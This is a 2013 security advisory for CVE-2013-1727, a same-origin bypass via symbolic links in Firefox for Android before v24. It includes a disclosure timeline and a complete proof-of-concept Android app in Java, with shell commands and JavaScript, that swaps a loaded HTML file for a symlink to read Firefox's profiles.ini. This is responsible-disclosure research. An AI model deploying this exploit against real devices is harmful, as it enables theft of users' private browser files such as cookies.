Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29836
HistoryOct 01, 2013 - 12:00 a.m.

Firefox for Android - Same-origin bypass through symbolic links

2013-10-0100:00:00
vulners.com
24

CVE Number: CVE-2013-1727
Vender Identifier: MFSA 2013-84
Title: Firefox for Android - Same-origin bypass through
symbolic links
Affected Software: Prior to v24 (confirmed on v14)
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v24 was released which fixes this vulnerability

Overview:
Firefox for Android's Same-Origin Policy for local files (file: URI) can
be bypassed by using symbolic links. It results in theft of Firefox's
private files by malicious Android apps.

Details:
As described in MDN Document (*), Firefox allows a local file to read
another file, only if the parent directory of the originating file is an
ancestor directory of the target file.

However, it is possible to circumvent the restriction by a trick using
symbolic link.

This issue enables malicious Android apps to steal Firefox's private
files such as Cookie file.

As an example, steps to steal Firefox's profiles.ini are described below:

  1. An attacker's app creates a malicious HTML file, and makes Firefox load
    its URL with file scheme. The malicious HTML contains JavaScript code
    which, a few seconds later, tries to read the same URL with itself via
    XMLHttpRequest.

    <u>Wait a few seconds.</u>
    <script>
    function doit() {
    var xhr = new XMLHttpRequest;
    xhr.onload = function() {
    alert(xhr.responseText);
    };
    xhr.open('GET', document.URL);
    xhr.send(null);
    }
    setTimeout(doit, 8000);
    </script>";

  2. Before XHR fires, the attacker's app replaces the malicious HTML with
    a symbolic link pointing to Firefox's profiles.ini file.

  3. When XHR fires, Firefox follows the symlink and provides the content
    of the profiles.ini file to the malicious HTML.

Through the steps above, the attacker's app can gain the path of the
Firefox's private files such as Cookie file. The attacker's app can also
get the contents of those private files in a similar manner.

Note:
It should be noted that this issue does not matter in Firefox for normal
PC platform (such as Windows OS), in which all apps are regarded as
reasonably trustworthy. However it does matter in Android platform with
sandbox security model intended to segretate apps. In such platforms,
app developers cannot regard other apps as trustworty.

By this difference in platform security model, Android apps that are
ported from PC often suffer from unexpected vulnerabilities. Obviously
such vulnerabilities are not specific to Firefox. In reality, I
discovered such vulnerabilities in Chrome for Android last year.

Chrome for Android vulnerabilities:

  1. http://seclists.org/bugtraq/2013/Jan/22
  2. http://seclists.org/bugtraq/2013/Jan/23
  3. http://seclists.org/bugtraq/2013/Jan/24
  4. http://seclists.org/bugtraq/2013/Jan/25
  5. http://seclists.org/bugtraq/2013/Jan/26

(#4 is a quite similar issue as the issue described in this advisory)

Proof of Concept:
/////////////////////////////////////////////////////////////////
// malicious android app that steals Firefox's profiles.ini file
/////////////////////////////////////////////////////////////////
package jp.mbsd.terada.attackfirefox1;

import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;

public class MainActivity extends Activity {
public final static String MY_PKG =
"jp.mbsd.terada.attackfirefox1";

  public final static String MY_TMP_DIR =
      &quot;/data/data/&quot; + MY_PKG + &quot;/tmp/&quot;;

  public final static String HTML_PATH =
      MY_TMP_DIR + &quot;A&quot; + Math.random&#40;&#41; + &quot;.html&quot;;

  public final static String TARGET_PKG =
      &quot;org.mozilla.firefox&quot;;

  public final static String TARGET_FILE_PATH =
      &quot;/data/data/&quot; + TARGET_PKG + &quot;/files/mozilla/profiles.ini&quot;;

  public final static String HTML =
      &quot;&lt;u&gt;Wait a few seconds.&lt;/u&gt;&quot; +
      &quot;&lt;script&gt;&quot; +
      &quot;function doit&#40;&#41; {&quot; +
      &quot;    var xhr = new XMLHttpRequest;&quot; +
      &quot;    xhr.onload = function&#40;&#41; {&quot; +
      &quot;        alert&#40;xhr.responseText&#41;;&quot; +
      &quot;    };&quot; +
      &quot;    xhr.open&#40;&#39;GET&#39;, document.URL&#41;;&quot; +
      &quot;    xhr.send&#40;null&#41;;&quot; +
      &quot;}&quot; +
      &quot;setTimeout&#40;doit, 8000&#41;;&quot; +
      &quot;&lt;/script&gt;&quot;;

  @Override
  public void onCreate&#40;Bundle savedInstanceState&#41; {
      super.onCreate&#40;savedInstanceState&#41;;
      setContentView&#40;R.layout.activity_main&#41;;
      doit&#40;&#41;;
  }

  public void doit&#40;&#41; {
      try {
          // create a malicious HTML
          cmdexec&#40;&quot;mkdir &quot; + MY_TMP_DIR&#41;;
          cmdexec&#40;&quot;echo &#92;&quot;&quot; + HTML + &quot;&#92;&quot; &gt; &quot; + HTML_PATH&#41;;
          cmdexec&#40;&quot;chmod -R 777 &quot; + MY_TMP_DIR&#41;;

          Thread.sleep&#40;1000&#41;;

          // force Firefox to load the malicious HTML
          invokeFirefox&#40;&quot;file://&quot; + HTML_PATH&#41;;

          Thread.sleep&#40;4000&#41;;

          // replace the HTML with a symbolic link to profiles.ini
          cmdexec&#40;&quot;rm &quot; + HTML_PATH&#41;;
          cmdexec&#40;&quot;ln -s &quot; + TARGET_FILE_PATH + &quot; &quot; + HTML_PATH&#41;;
      }
      catch &#40;Exception e&#41; {}
  }

  public void invokeFirefox&#40;String url&#41; {
      Intent intent = new Intent&#40;Intent.ACTION_VIEW, Uri.parse&#40;url&#41;&#41;;
      intent.setClassName&#40;TARGET_PKG, TARGET_PKG + &quot;.App&quot;&#41;;
      startActivity&#40;intent&#41;;
  }

  public void cmdexec&#40;String cmd&#41; {
      try {
          String[] tmp = new String[] {&quot;/system/bin/sh&quot;, &quot;-c&quot;, cmd};
          Runtime.getRuntime&#40;&#41;.exec&#40;tmp&#41;;
      }
      catch &#40;Exception e&#41; {}
  }

}

Timeline:
2012/08/14 Reported to Firefox
2013/09/17 Vender announced v24
2013/09/30 Disclosure of this advisory

Recommendation:
Upgrade to the latest version.

Reference:
http://www.mozilla.org/security/announce/2013/mfsa2013-84.html

– Takeshi Terada Mitsui Bussan Secure Directions, Inc. http://www.mbsd.jp/